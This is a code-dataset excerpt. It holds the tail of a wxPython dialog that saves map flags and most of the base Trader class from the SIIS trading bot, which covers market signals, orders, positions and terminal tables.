self.yposTextCtrl.GetValue()\n\n # errors control\n if name == \"\":\n commun.displayError(self, \"Your flag name is empty !\")\n elif posX == \"\":\n commun.displayError(self, \"Your flag X coordinate is empty !\")\n messageDialog.ShowModal()\n elif posY == \"\":\n commun.displayError(self, \"Your flag Y coordinate is empty !\")\n else:\n try:\n x = long(posX)\n except:\n commun.displayError(self, \"Your flag X coordinate has a bad format. Please, enter an integer.\")\n return 0\n try:\n y = long(posY)\n except:\n commun.displayError(self, \"Your flag Y coordinate has a bad format. Please, enter an integer.\")\n return 0\n\n flagFile = commun.FLAG_DIR_NAME + os.sep + name\n\n # control the doublon\n if os.path.isfile(flagFile):\n commun.displayError(self, \"This flag name already exists. Please, choose another name.\")\n return 0\n\n # flag modification\n if self.flag_name:\n # rename the flag file\n flagFile_old = commun.FLAG_DIR_NAME + os.sep + self.flag_name\n os.rename(flagFile_old, flagFile)\n\n # open the flag file\n try:\n f = file(flagFile, 'w')\n except:\n commun.displayError(self, 'Can not open the file %s' %flagFile)\n return 0\n\n # save the parameters in the flag file\n line = name + ';' + posX + ';'+ posY\n f.write(line)\n f.close()\n\n # close the dialog box\n self.Close(FALSE)\n","sub_path":"branches/release-0.8.2/old/alpha-0.4/solipsis/navigator/wx/newFlagDialog.py","file_name":"newFlagDialog.py","file_ext":"py","file_size_in_byte":8391,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"90661506","text":"# @date 2018-08-07\n# @author Frederic SCHERMA\n# @license Copyright (c) 2018 Dream Overflow\n# Trader base class\n\nimport traceback\nimport time\nimport copy\nimport base64\nimport uuid\nimport collections\n\nfrom datetime import datetime\n\nfrom common.signal import Signal\n\nfrom trader.order import Order\nfrom trader.position import Position\nfrom trader.market import Market\n\nfrom monitor.streamable import Streamable, StreamMemberSerie, StreamMemberFloatSerie\nfrom common.runnable import Runnable\n\nfrom terminal.terminal import Terminal, Color\nfrom terminal import charmap\n\nimport logging\nlogger = logging.getLogger('siis.trader')\nerror_logger = logging.getLogger('siis.error.trader')\ntraceback_logger = logging.getLogger('siis.traceback.trader')\n\n\nclass Trader(Runnable):\n \"\"\"\n Trader base class to specialize per broker.\n\n @todo Not as central ressource, only for intial or informational, strategy must have theirs local proxy methods/data.\n \"\"\"\n\n MAX_SIGNALS = 1000 # max signals queue size before ignore some market data updates\n\n PURGE_COMMANDS_DELAY = 180 # 180s keep commands in seconds\n MAX_COMMANDS_QUEUE = 100\n\n # general command\n COMMAND_INFO = 1\n\n # order commands\n COMMAND_CLOSE_MARKET = 110 # close a managed or unmanaged position at market now\n COMMAND_CLOSE_ALL_MARKET = 111 # close any positions of this account at market now\n\n def __init__(self, name, service):\n super().__init__(\"td-%s\" % name)\n\n self._name = name\n self._service = service \n self._account = None\n\n self._activity = True # trading activity\n\n self._orders = {}\n self._positions = {}\n self._assets = {}\n\n self._commands = []\n self._last_alerts = {}\n\n self._markets = {}\n\n self._timestamp = 0\n self._signals = collections.deque() # filtered received signals\n\n # listen to its service\n self.service.add_listener(self)\n\n # streaming\n self.setup_streaming()\n\n def setup_streaming(self):\n self._streamable = Streamable(self.service.monitor_service, Streamable.STREAM_TRADER, \"status\", self.name)\n\n def stream(self):\n self._streamable.push()\n\n @property\n def account(self):\n return self._account\n \n @property\n def service(self):\n return self._service\n\n @property\n def name(self):\n return self._name\n\n @property\n def watcher(self):\n return self._watcher\n\n @property\n def paper_mode(self):\n \"\"\"True for not real trader\"\"\"\n return False\n\n def set_timestamp(self, timestamp):\n \"\"\"\n Used on backtesting by the strategy.\n \"\"\"\n self._timestamp = timestamp\n\n @property\n def timestamp(self):\n \"\"\"\n Current timestamp or backtesting time.\n \"\"\"\n return time.time()\n\n def connect(self):\n pass\n\n def disconnect(self):\n pass\n\n @property\n def connected(self):\n return False\n\n @property\n def authenticated(self):\n return False\n\n def symbols_ids(self):\n \"\"\"\n Returns the complete list containing market-ids, theirs alias and theirs related symbol name.\n \"\"\"\n names = []\n\n with self._mutex:\n for k, market in self._markets.items():\n names.append(market.market_id)\n\n if market.symbol and market.symbol != market.market_id:\n names.append(market.symbol)\n\n names.sort()\n\n return names\n\n def find_market(self, symbol_or_market_id):\n \"\"\"\n Return market from its market-id or name or symbol.\n \"\"\"\n if not symbol_or_market_id:\n return None\n\n market = self._markets.get(symbol_or_market_id)\n if market:\n return market\n\n # or look with mapping of the name\n for k, mark in self._markets.items():\n if symbol_or_market_id == mark.market_id or symbol_or_market_id == mark.symbol:\n return mark\n\n return None\n\n def has_market(self, market_id):\n with self._mutex:\n return market_id in self._markets\n\n #\n # processing\n #\n\n def pre_run(self):\n Terminal.inst().info(\"Running trader %s...\" % self._name)\n self.connect()\n\n def post_run(self):\n Terminal.inst().info(\"Joining trader %s...\" % self._name)\n self.disconnect()\n\n def post_update(self):\n if len(self._signals) > Trader.MAX_SIGNALS:\n # saturation of the signal message queue\n Terminal.inst().warning(\"Trader %s has more than %s waiting signals, could ignore some market data !\" % (\n self.name, Trader.MAX_SIGNALS), view='status')\n\n # streaming\n self.stream()\n\n def update(self):\n \"\"\"\n Update command and position.\n Thread safe method.\n \"\"\"\n\n # performed async, but in case of backtesting update is called synchronously to avoid time derivation of the two processes.\n if self.service.backtesting:\n return True\n\n #\n # signals processing\n #\n\n count = 0\n\n while self._signals:\n signal = self._signals.popleft()\n\n # only on live mode, because in backtesting watchers are dummies\n if signal.source == Signal.SOURCE_WATCHER:\n if signal.signal_type == Signal.SIGNAL_WATCHER_CONNECTED:\n self.on_watcher_connected(signal.source_name)\n elif signal.signal_type == Signal.SIGNAL_WATCHER_DISCONNECTED:\n self.on_watcher_disconnected(signal.source_name)\n\n elif signal.signal_type == Signal.SIGNAL_MARKET_DATA:\n # update instrument data during live mode\n self.on_update_market(*signal.data)\n elif signal.signal_type == Signal.SIGNAL_ACCOUNT_DATA:\n self.on_account_updated(*signal.data)\n\n elif signal.signal_type == Signal.SIGNAL_POSITION_OPENED:\n self.on_position_opened(*signal.data)\n elif signal.signal_type == Signal.SIGNAL_POSITION_UPDATED:\n self.on_position_updated(*signal.data)\n elif signal.signal_type == Signal.SIGNAL_POSITION_DELETED:\n self.on_position_deleted(*signal.data)\n elif signal.signal_type == Signal.SIGNAL_POSITION_AMENDED:\n self.on_position_amended(*signal.data)\n\n elif signal.signal_type == Signal.SIGNAL_ORDER_OPENED:\n self.on_order_opened(*signal.data)\n elif signal.signal_type == Signal.SIGNAL_ORDER_UPDATED:\n self.on_order_updated(*signal.data)\n elif signal.signal_type == Signal.SIGNAL_ORDER_DELETED:\n self.on_order_deleted(*signal.data)\n elif signal.signal_type == Signal.SIGNAL_ORDER_REJECTED:\n self.on_order_rejected(*signal.data)\n elif signal.signal_type == Signal.SIGNAL_ORDER_CANCELED:\n self.on_order_canceled(*signal.data)\n elif signal.signal_type == Signal.SIGNAL_ORDER_TRADED:\n self.on_order_traded(*signal.data)\n\n elif signal.signal_type == Signal.SIGNAL_ASSET_UPDATED:\n self.on_asset_updated(*signal.data)\n\n elif signal.source == Signal.SOURCE_TRADER and signal.source_name == self._name:\n if signal.signal_type == Signal.SIGNAL_ASSET_DATA_BULK:\n self.on_assets_loaded(signal.data)\n\n if count > 10:\n # no more than per loop\n break\n\n #\n # commands processing @deprecated was used to do not have the possibility to trigger manually a social copy signal (expiration)\n #\n\n if self._commands:\n i = 0\n now = time.time()\n\n with self._mutex:\n for command in self._commands:\n # remove commands older than 180 seconds\n if now - command['timestamp'] > Trader.PURGE_COMMANDS_DELAY:\n del self._commands[i]\n\n i += 1\n\n return True\n\n def _purge_commands(self):\n \"\"\"\n Purge olders commands.\n Not trade safe method.\n \"\"\"\n if len(self._commands) > Trader.MAX_COMMANDS_QUEUE:\n size = len(self._commands) - Trader.MAX_COMMANDS_QUEUE\n self._commands = self._commands[size:]\n\n def command(self, command_type, data):\n \"\"\"\n Some parts are mutexed some others are not.\n \"\"\"\n if command_type == Trader.COMMAND_INFO:\n # info on the trade\n self.cmd_trader_info(data)\n\n elif command_type == Trader.COMMAND_CLOSE_MARKET:\n # manually close a specified position at market now\n with self._mutex:\n for k, position in self._positions.items():\n if position.key == data['key']:\n # query close position\n market = self.market(position.symbol)\n if market:\n self.close_position(position.position_id, market, position.direction, position.quantity, True, None)\n\n Terminal.inst().action(\"Closing position %s...\" % (position.position_id, ), view='content')\n break\n\n elif command_type == Trader.COMMAND_CLOSE_ALL_MARKET:\n # manually close any position related to this account/trader at market now\n with self._mutex:\n for k, position in self._positions.items():\n # query close position\n market = self.market(position.symbol)\n\n if market:\n self.close_position(position.position_id, market, position.direction, position.quantity, True, None)\n\n Terminal.inst().action(\"Closing position %s...\" % (position.position_id, ), view='content')\n break\n\n def ping(self, timeout):\n self._ping = (0, None, True)\n\n def pong(self, timestamp, pid, watchdog_service, msg):\n if msg:\n # display trader activity\n if self.connected:\n Terminal.inst().action(\"Trader worker %s is alive %s\" % (self._name, msg), view='content')\n else:\n Terminal.inst().action(\"Trader worker %s is alive but waiting for (re)connection %s\" % (self._name, msg), view='content')\n\n if watchdog_service:\n watchdog_service.service_pong(pid, timestamp, msg)\n\n #\n # global information\n #\n\n def has_margin(self, market_id, quantity, price):\n \"\"\"\n Return True for a margin trading if the account have sufficient free margin.\n \"\"\"\n with self._mutex:\n market = self._markets.get(market_id)\n margin = market.margin_cost(quantity, price)\n\n if margin:\n return self.account.margin_balance >= margin\n\n return False\n\n def has_quantity(self, asset_name, quantity):\n \"\"\"\n Return True if a given asset has a minimum quantity.\n @note The benefit of this method is it can be overloaded and offers a generic way for a strategy\n to check if an order can be created\n \"\"\"\n with self._mutex:\n asset = self._assets.get(asset_name)\n\n if asset:\n return asset.free >= quantity\n\n return False\n\n #\n # ordering\n #\n\n def set_ref_order_id(self, order):\n \"\"\"\n Generate a new reference order id to be setup before calling create order, else a default one wil be generated.\n Generating it before is a prefered way to correctly manange order in strategy.\n @param order A valid or on to set the ref order id.\n @note If the given order already have a ref order id no change is made.\n \"\"\"\n if order and not order.ref_order_id:\n # order.set_ref_order_id(\"siis_\" + base64.b64encode(uuid.uuid5(uuid.NAMESPACE_DNS, 'siis.com').bytes).decode('utf8').rstrip('=\\n').replace('/', '_').replace('+', '0'))\n order.set_ref_order_id(\"siis_\" + base64.b64encode(uuid.uuid4().bytes).decode('utf8').rstrip('=\\n').replace('/', '_').replace('+', '0'))\n return order.ref_order_id\n\n return None\n\n def create_order(self, order, market_or_instrument):\n \"\"\"\n Create an order. The symbol of the order must be on of the trader instruments.\n @note This call depend of the state of the connector.\n \"\"\"\n return False\n\n def cancel_order(self, order_id, market_or_instrument):\n \"\"\"\n Cancel an existing order. The symbol of the order must be on of the trader instruments.\n @note This call depend of the state of the connector.\n \"\"\"\n return False\n\n def close_position(self, position_id, market_or_instrument, direction, quantity, market=True, limit_price=None):\n \"\"\"\n Close an existing position.\n \n @param position_id Unique position identifier on broker.\n @param market_or_instrument Markt of Instrument related object.\n @param direction Direction of the position to close.\n @param quantity Quantiy of the position to close or reduce.\n @param market If true close at market\n @param limit_price If Not market close at this limit price\n\n @note This call depend of the state of the connector.\n \"\"\"\n return False\n\n def modify_position(self, position_id, market_or_instrument, stop_loss_price=None, take_profit_price=None):\n \"\"\"\n Modifiy the stop loss or take profit of a position.\n @note This call depend of the state of the connector.\n \"\"\"\n return False\n\n #\n # global accessors\n #\n\n def orders(self, market_id):\n \"\"\"\n Get actives order for a market id.\n \"\"\"\n return []\n\n def get_order(self, order_id):\n order = None\n\n with self._mutex:\n order = self.orders.get(order_id)\n if order:\n order = copy.copy(order)\n\n return order\n\n def find_order(self, ref_order_id):\n result = None\n\n with self._mutex:\n for oid, order in self._orders.items():\n if order.ref_order_id == ref_order_id:\n result = copy.copy(order)\n break\n\n return result\n\n def market(self, market_id, force=False):\n \"\"\"\n Market data for a market id.\n @param force True to force request and cache update.\n \"\"\"\n # with self._mutex:\n return self._markets.get(market_id)\n\n # return None\n\n def asset(self, symbol):\n \"\"\"\n Get asset for symbol.\n \"\"\"\n # with self._mutex:\n return self._assets.get(symbol)\n\n # return None\n\n def has_asset(self, symbol):\n \"\"\"\n Is trader has a specific asset.\n \"\"\"\n return symbol in self._assets\n\n def positions(self, market_id):\n \"\"\"\n Get actives positions for a market id.\n \"\"\"\n return []\n\n def get_position(self, position_id):\n \"\"\"\n Return a copy of the trader position if exists else None.\n \"\"\"\n position = None\n\n with self._mutex:\n if self._positions.get(position_id):\n position = copy.copy(self._positions.get(position_id))\n\n return position\n\n #\n # signals\n #\n\n def receiver(self, signal):\n if signal.source == Signal.SOURCE_WATCHER:\n if signal.source_name != self._name:\n # only interested by the watcher of the same name\n return\n\n if signal.signal_type == Signal.SIGNAL_MARKET_DATA:\n # if not self.has_market(signal.data[0]):\n if not signal.data[0] in self._markets:\n # non interested by this instrument/symbol\n return\n\n if len(self._signals) > Trader.MAX_SIGNALS:\n # if trader message queue saturate its mostly because of market data too many update\n # then ignore some of those message, the others ones are too important to be ignored\n return\n\n elif signal.signal_type not in (\n Signal.SIGNAL_ACCOUNT_DATA, Signal.SIGNAL_WATCHER_CONNECTED, Signal.SIGNAL_WATCHER_DISCONNECTED,\n Signal.SIGNAL_POSITION_OPENED, Signal.SIGNAL_POSITION_UPDATED, Signal.SIGNAL_POSITION_DELETED, Signal.SIGNAL_POSITION_AMENDED,\n Signal.SIGNAL_ORDER_OPENED, Signal.SIGNAL_ORDER_UPDATED, Signal.SIGNAL_ORDER_DELETED, Signal.SIGNAL_ORDER_REJECTED,\n Signal.SIGNAL_ORDER_CANCELED, Signal.SIGNAL_ORDER_TRADED,\n Signal.SIGNAL_ASSET_UPDATED):\n return\n\n # signal of interest\n self._signals.append(signal)\n\n elif signal.source == Signal.SOURCE_TRADER: # in fact it comes from the DB service but request in self trader name\n if signal.signal_type not in (Signal.SIGNAL_ASSET_DATA, Signal.SIGNAL_ASSET_DATA_BULK):\n # non interested by others signals\n return \n\n # signal of interest\n self._signals.append(signal)\n\n #\n # connection slots\n #\n\n def on_watcher_connected(self, watcher_name):\n msg = \"Trader %s joined %s watcher connection.\" % (self.name, watcher_name)\n logger.info(msg)\n Terminal.inst().info(msg, view='content')\n\n def on_watcher_disconnected(self, watcher_name):\n msg = \"Trader %s lossing %s watcher connection.\" % (self.name, watcher_name)\n logger.warning(msg)\n Terminal.inst().info(msg, view='content')\n\n #\n # account slots\n #\n\n @Runnable.mutexed\n def on_account_updated(self, balance, free_margin, unrealized_pnl, currency, risk_limit):\n \"\"\"\n Update account details.\n \"\"\"\n self.account.set_balance(balance)\n self.account.set_used_margin(balance - free_margin)\n self.account.set_unrealized_profit_loss(unrealized_pnl)\n\n if currency:\n self.account.set_currency(currency)\n\n if risk_limit is not None:\n self.account.set_risk_limit(risk_limit)\n\n #\n # positions slots\n #\n\n @Runnable.mutexed\n def on_position_opened(self, market_id, position_data, ref_order_id):\n market = self._markets.get(market_id)\n if market is None:\n # not interested by this market\n return\n\n # insert it, erase the previous if necessary\n position = Position(self)\n position.set_position_id(position_data['id'])\n position.set_key(self.service.gen_key())\n\n position.entry(\n position_data['direction'],\n position_data['symbol'],\n position_data['quantity'],\n position_data.get('take-profit'),\n position_data.get('stop-loss'),\n position_data.get('leverage'),\n position_data.get('trailing-stop'))\n\n if position_data.get('avg-entry-price') is not None:\n position.entry_price = position_data['avg-entry-price']\n elif position_data.get('avg-price') is not None:\n position.entry_price = position_data['avg-price']\n elif position_data.get('exec-price') is not None:\n position.entry_price = position_data['exec-price']\n\n self._positions[position.position_id] = position\n\n market = self.market(position.symbol)\n if market:\n position.update_profit_loss(market)\n\n if position_data.get('profit-loss') is not None:\n position._profit_loss = position_data.get('profit-loss')\n position._profit_market_loss = position_data.get('profit-loss')\n\n if position_data.get('profit-loss-rate') is not None:\n position._profit_loss_rate = position_data.get('profit-loss-rate')\n position._profit_loss_market_rate = position_data.get('profit-loss-rate')\n\n @Runnable.mutexed\n def on_position_updated(self, market_id, position_data, ref_order_id):\n market = self._markets.get(market_id)\n if market is None:\n # not interested by this market\n return\n\n position = self._positions.get(position_data['id'])\n\n if position:\n # update\n position.entry(\n position_data['direction'],\n position_data['symbol'],\n position_data['quantity'],\n position_data.get('take-profit'),\n position_data.get('stop-loss'),\n position_data.get('leverage'),\n position_data.get('trailing-stop'))\n\n if position_data.get('avg-entry-price') is not None:\n position.entry_price = position_data['avg-entry-price']\n elif position_data.get('avg-price') is not None:\n position.entry_price = position_data['avg-price']\n elif position_data.get('exec-price') is not None:\n position.entry_price = position_data['exec-price']\n\n if position_data.get('avg-exit-price') is not None:\n position.exit_price = position_data['avg-exit-price']\n else:\n # not found, insert and change state \n position = Position(self)\n position.set_position_id(position_data['id'])\n position.set_key(self.service.gen_key())\n\n position.entry(\n position_data['direction'],\n position_data['symbol'],\n position_data['quantity'],\n position_data.get('take-profit'),\n position_data.get('stop-loss'),\n position_data.get('leverage'),\n position_data.get('trailing-stop'))\n\n if position_data.get('avg-entry-price') is not None:\n position.entry_price = position_data['avg-entry-price']\n elif position_data.get('avg-price') is not None:\n position.entry_price = position_data['avg-price']\n elif position_data.get('exec-price') is not None:\n position.entry_price = position_data['exec-price']\n\n if position_data.get('avg-exit-price') is not None:\n position.exit_price = position_data['avg-exit-price']\n\n self._positions[position.position_id] = position\n\n market = self.market(position.symbol)\n if market:\n position.update_profit_loss(market)\n\n if position_data.get('profit-loss') is not None:\n position._profit_loss = position_data.get('profit-loss')\n position._profit_market_loss = position_data.get('profit-loss')\n\n if position_data.get('profit-loss-rate') is not None:\n position._profit_loss_rate = position_data.get('profit-loss-rate')\n position._profit_loss_market_rate = position_data.get('profit-loss-rate')\n\n @Runnable.mutexed\n def on_position_amended(self, market_id, position_data, ref_order_id):\n position = self._positions.get(position_data['id'])\n\n if position:\n if position_data.get('take-profit'):\n position.take_profit = position_data['take-profit']\n\n if position_data.get('stop-loss'):\n position.stop_loss = position_data['stop-loss']\n\n if position_data.get('trailing-stop'):\n position.trailing_stop = position_data['trailing-stop']\n\n if position_data.get('leverage'):\n position.leverage = position_data['leverage']\n\n @Runnable.mutexed\n def on_position_deleted(self, market_id, position_data, ref_order_id):\n # delete the position from the dict\n if self._positions.get(position_data['id']):\n del self._positions[position_data['id']]\n\n #\n # order slots\n #\n\n @Runnable.mutexed\n def on_order_opened(self, market_id, order_data, ref_order_id):\n market = self._markets.get(market_id)\n if market is None:\n # not interested by this market\n return\n\n if order_data['id'] not in self._orders:\n # some are inserted during create_order result\n order = Order(self, order_data['symbol'])\n order.set_order_id(order_data['id'])\n\n order.created_time = order_data['timestamp']\n\n order.direction = order_data['direction']\n order.order_type = order_data['type']\n\n order.quantity = order_data['quantity']\n\n # depending of the type\n order.price = order_data.get('price')\n order.stop_price = order_data.get('stop-price')\n order.time_in_force = order_data.get('time-in-force', Order.TIME_IN_FORCE_GTC)\n\n order.close_only = order_data.get('close-only', False)\n order.reduce_only = order_data.get('reduce-only', False)\n\n order.stop_loss = order_data.get('stop-loss')\n order.take_profit = order_data.get('take-profit')\n\n self._orders[order_data['id']] = order\n\n @Runnable.mutexed\n def on_order_updated(self, market_id, order_data, ref_order_id):\n market = self._markets.get(market_id)\n if market is None:\n # not interested by this market\n return\n\n order = self._orders.get(order_data['id'])\n if order:\n # update price, stop-price, stop-loss, take-profit, quantity if necessarry\n order.quantity = order_data['quantity']\n\n order.price = order_data.get('price')\n order.stop_price = order_data.get('stop-price')\n\n order.stop_loss = order_data.get('stop-loss')\n order.take_profit = order_data.get('take-profit')\n\n @Runnable.mutexed\n def on_order_deleted(self, market_id, order_id, ref_order_id):\n if order_id in self._orders:\n del self._orders[order_id]\n\n @Runnable.mutexed\n def on_order_rejected(self, market_id, ref_order_id):\n pass\n\n @Runnable.mutexed\n def on_order_canceled(self, market_id, order_id, ref_order_id):\n if order_id in self._orders:\n del self._orders[order_id]\n\n @Runnable.mutexed\n def on_order_traded(self, market_id, order_data, ref_order_id):\n order = self._orders.get(order_data['id'])\n if order:\n # update executed qty (depending of the implementation filled or cumulative-filled or both are present)\n if order_data.get('cumulative-filled') is not None:\n order.executed = order_data['cumulative-filled']\n elif order_data.get('filled') is not None:\n order.executed += order_data['filled']\n\n if order_data.get('timestamp'):\n # keep last transact_time\n order.transact_time = order_data['timestamp']\n\n if order_data.get('fully-filled'):\n # fully filled mean deleted too\n del self._orders[order.order_id]\n\n #\n # asset slots\n # \n\n def on_assets_loaded(self, assets):\n pass\n\n def on_asset_updated(self, asset_name, locked, free):\n pass\n\n #\n # market slots\n #\n\n @Runnable.mutexed\n def on_update_market(self, market_id, tradable, last_update_time, bid, ofr, base_exchange_rate,\n contract_size=None, value_per_pip=None, vol24h_base=None, vol24h_quote=None):\n \"\"\"\n Update bid, ofr, base exchange rate and last update time of a market.\n Take care this method is not thread safe. Use it with the trader mutex or exclusively in the same thread.\n \"\"\"\n market = self._markets.get(market_id)\n if market is None:\n # not interested by this market\n return\n\n if bid:\n market.bid = bid\n if ofr:\n market.ofr = ofr\n\n if base_exchange_rate is not None:\n market.base_exchange_rate = base_exchange_rate\n\n if last_update_time is not None:\n market.last_update_time = last_update_time\n\n if tradable is not None:\n market.is_open = tradable\n\n if contract_size is not None:\n market.contract_size = contract_size\n\n if value_per_pip is not None:\n market.value_per_pip = value_per_pip\n\n if vol24h_base is not None:\n market.vol24h_base = vol24h_base\n\n if vol24h_quote is not None:\n market.vol24h_quote = vol24h_quote\n\n # push last price to keep a local cache of history\n market.push_price()\n\n #\n # utils\n #\n\n def last_price(self, market_id):\n \"\"\"\n Return the last price for a specific market.\n @param str market_id Valid market identifier\n @return float Last watched price or None if missing market.\n \"\"\"\n price = None\n\n with self._mutex:\n market = self.market(market_id)\n if market:\n price = market.price\n\n return price\n\n def history_price(self, market_id, timestamp=None):\n \"\"\"\n Return the price for a particular timestamp or the last if not defined.\n @param str market_id Valid market identifier\n @param float timestamp Valid second timetamp or if None then prefers the method last_price.\n @return float Price or None if not found (market missing or unable to retrieve a price)\n\n @note Cost an API request when timestamp is defined and if price\n was not found into the local market history (only few values are kept in memory cache).\n \"\"\"\n price = None\n\n if timestamp:\n market = self.market(market_id)\n if market:\n # lookup into the local cache\n price = market.recent_price(timestamp)\n\n if price is None and self._watcher:\n # query the REST API\n price = self._watcher.price_history(market_id, timestamp)\n\n if price is None:\n logger.warning(\"Trader %s cannot found price history for %s at %s\" % (self._name, market_id, datetime.fromtimestamp(timestamp).strftime('%Y-%m-%d %H:%M:%S')))\n else:\n # last price\n market = self.market(market_id)\n if market:\n price = market.price\n\n if price is None:\n logger.warning(\"Trader %s cannot found last price for %s because no market was found\" % (self._name, market_id,))\n\n return price\n\n #\n # display views\n #\n\n def markets_table(self, style='', offset=None, limit=None, col_ofs=None):\n \"\"\"\n Returns a table of any followed markets.\n \"\"\"\n columns = ('Market', 'Symbol', 'Base', 'Quote', 'Rate', 'Type', 'Unit', 'Status', 'PipMean', 'PerPip', 'Lot', 'Contract', 'Min Size', 'Min Notional', 'Leverage')\n total_size = (len(columns), 0)\n data = []\n\n with self._mutex:\n markets = list(self._markets.values())\n total_size = (len(columns), len(markets))\n\n if offset is None:\n offset = 0\n\n if limit is None:\n limit = len(markets)\n\n limit = offset + limit\n\n markets.sort(key=lambda x: x.market_id)\n markets = markets[offset:limit]\n\n for market in markets:\n status = Color.colorize_cond(\"Open\" if market.is_open else \"Close\", market.is_open, style=style, true=Color.GREEN, false=Color.RED)\n\n row = (\n market.market_id,\n market.symbol,\n market.base,\n market.quote,\n str(\"%.8f\" % market.base_exchange_rate).rstrip('0').rstrip('.'),\n market.market_type_str().capitalize(),\n market.unit_type_str().capitalize(),\n status,\n str(\"%.8f\" % market.one_pip_means).rstrip('0').rstrip('.'),\n str(\"%.8f\" % market.value_per_pip).rstrip('0').rstrip('.'),\n str(\"%.8f\" % market.lot_size).rstrip('0').rstrip('.'),\n str(\"%.12f\" % market.contract_size).rstrip('0').rstrip('.'),\n market.min_size,\n market.min_notional,\n \"%.2f\" % (1.0 / market.margin_factor if market.margin_factor > 0.0 else 1.0)\n )\n\n data.append(row[col_ofs:])\n\n return columns[col_ofs:], data, total_size\n\n def markets_tickers_table(self, style='', offset=None, limit=None, col_ofs=None, prev_timestamp=None):\n \"\"\"\n Returns a table of any followed markets tickers.\n \"\"\"\n columns = ('Market', 'Symbol', 'Bid', 'Ofr', 'Spread', 'Vol24h base', 'Vol24h quote', 'Time')\n total_size = (len(columns), 0)\n data = []\n\n with self._mutex:\n markets = list(self._markets.values())\n total_size = (len(columns), len(markets))\n\n if offset is None:\n offset = 0\n\n if limit is None:\n limit = len(markets)\n\n limit = offset + limit\n\n markets.sort(key=lambda x: x.market_id)\n markets = markets[offset:limit]\n\n for market in markets:\n recent = market.recent(self.timestamp - 0.5 if not prev_timestamp else prev_timestamp)\n if recent:\n bid = Color.colorize_updn(market.format_price(market.bid), recent[1], market.bid, style=style)\n ofr = Color.colorize_updn(market.format_price(market.ofr), recent[2], market.ofr, style=style)\n spread = Color.colorize_updn(market.format_spread(market.spread), market.spread, recent[2] - recent[1], style=style)\n else:\n bid = market.format_price(market.bid)\n ofr = market.format_price(market.ofr)\n spread = market.format_spread(market.spread)\n\n if market.vol24h_quote:\n # @todo could be configured\n low = 0\n if market.quote in ('USD', 'EUR', 'ZEUR', 'ZUSD', 'USDT', 'PAX', 'USDC', 'USDS', 'BUSD', 'TUSD'):\n low = 500000\n elif market.quote in ('BTC'):\n low = 100\n elif market.quote in ('ETH'):\n low = 5000\n elif market.quote in ('BNB'):\n low = 50000\n\n vol24h_quote = Color.colorize_cond(\"%.2f\" % market.vol24h_quote, market.vol24h_quote < low, style=style, true=Color.YELLOW, false=Color.WHITE)\n else:\n vol24h_quote = charmap.HOURGLASS\n\n row = (\n market.market_id,\n market.symbol,\n bid,\n ofr,\n spread,\n market.format_quantity(market.vol24h_base) if market.vol24h_base else charmap.HOURGLASS,\n vol24h_quote,\n datetime.fromtimestamp(market.last_update_time).strftime(\"%H:%M:%S\") if market.last_update_time else charmap.HOURGLASS)\n\n data.append(row[col_ofs:])\n\n return columns[col_ofs:], data, total_size\n\n def assets_table(self, style='', offset=None, limit=None, col_ofs=None, filter_low=True):\n \"\"\"\n Returns a table of any non empty assets.\n \"\"\"\n columns = ('Asset', 'Locked', 'Free', 'Total', 'Avg price', 'Change', 'Change %',\n 'P/L %s' % self.account.currency, 'P/L %s' % self.account.alt_currency)\n total_size = (len(columns), 0)\n data = []\n\n with self._mutex:\n assets = [asset for asset in self._assets.values() if asset.quantity > 0.0]\n total_size = (len(columns), len(assets))\n\n if offset is None:\n offset = 0\n\n if limit is None:\n limit = len(assets)\n\n limit = offset + limit\n\n assets.sort(key=lambda x: x.symbol)\n assets = assets[offset:limit]\n\n for asset in assets:\n # use the most appropriate market\n market = self.market(asset.symbol+asset.quote)\n\n change = \"\"\n change_percent = \"\"\n profit_loss = \"\"\n profit_loss_alt = \"\"\n\n if market:\n locked = market.format_quantity(asset.locked)\n free = market.format_quantity(asset.free)\n quantity = market.format_quantity(asset.quantity)\n\n base_exchange_rate = 1.0\n\n change = market.format_price(market.bid - asset.price) + market.quote_display or market.quote\n change_percent = (market.bid - asset.price) / asset.price * 100.0 if asset.price else 0.0\n\n if change_percent > 0.0:\n change_percent = Color.colorize(\"%.2f\" % change_percent, Color.GREEN, style)\n elif change_percent < 0.0:\n change_percent = Color.colorize(\"%.2f\" % change_percent, Color.RED, style)\n else:\n change_percent = \"%.2f\" % change_percent\n\n quote_market = self.market(market.quote+self.account.currency)\n if quote_market:\n base_exchange_rate = 1.0 / quote_market.price\n\n profit_loss = market.format_price(asset.profit_loss) if market.quote == self.account.currency else \"\"\n profit_loss_alt = market.format_price(asset.profit_loss / base_exchange_rate) if market.quote == self.account.alt_currency else \"\"\n\n if asset.profit_loss > 0.0:\n if profit_loss:\n profit_loss = Color.colorize(profit_loss, Color.GREEN, style)\n\n if profit_loss_alt:\n profit_loss_alt = Color.colorize(profit_loss_alt, Color.GREEN, style)\n elif asset.profit_loss < 0.0:\n if profit_loss:\n profit_loss = Color.colorize(profit_loss, Color.RED, style)\n\n if profit_loss_alt:\n profit_loss_alt = Color.colorize(profit_loss_alt, Color.RED, style)\n else:\n locked = \"%.8f\" % asset.locked\n free = \"%.8f\" % asset.free\n quantity = \"%.8f\" % asset.quantity\n\n row = (\n asset.symbol,\n locked,\n free,\n quantity,\n asset.format_price(asset.price) if asset.price else charmap.HOURGLASS,\n change or charmap.ROADBLOCK,\n change_percent or charmap.ROADBLOCK,\n profit_loss or charmap.ROADBLOCK,\n profit_loss_alt or charmap.ROADBLOCK,\n )\n\n data.append(row[col_ofs:])\n\n return columns[col_ofs:], data, total_size\n\n def account_table(self, style='', offset=None, limit=None, col_ofs=None):\n \"\"\"\n Returns a table of any followed markets.\n \"\"\"\n columns = ('Broker', 'Account', 'Username', 'Email', 'Asset', 'Free Asset', 'Balance', 'Margin', 'Level', 'Net worth',\n 'Risk limit', 'Unrealized P/L', 'Asset U. P/L', 'Asset U. P/L alt')\n data = []\n\n with self._mutex:\n if offset is None:\n offset = 0\n\n if limit is None:\n limit = 1\n\n limit = offset + limit\n\n asset_balance = \"%s (%s)\" % (\n self.account.format_price(self._account.asset_balance) + self.account.currency_display or self.account.currency,\n self.account.format_price(self._account.asset_balance * self._account.currency_ratio) + self.account.alt_currency_display or self.account.alt_currency)\n\n free_asset_balance = \"%s (%s)\" % (\n self.account.format_price(self._account.free_asset_balance) + self.account.currency_display or self.account.currency,\n self.account.format_price(self._account.free_asset_balance * self._account.currency_ratio) + self.account.alt_currency_display or self.account.alt_currency)\n\n balance = \"%s (%s)\" % (\n self.account.format_price(self._account.balance) + self.account.currency_display or 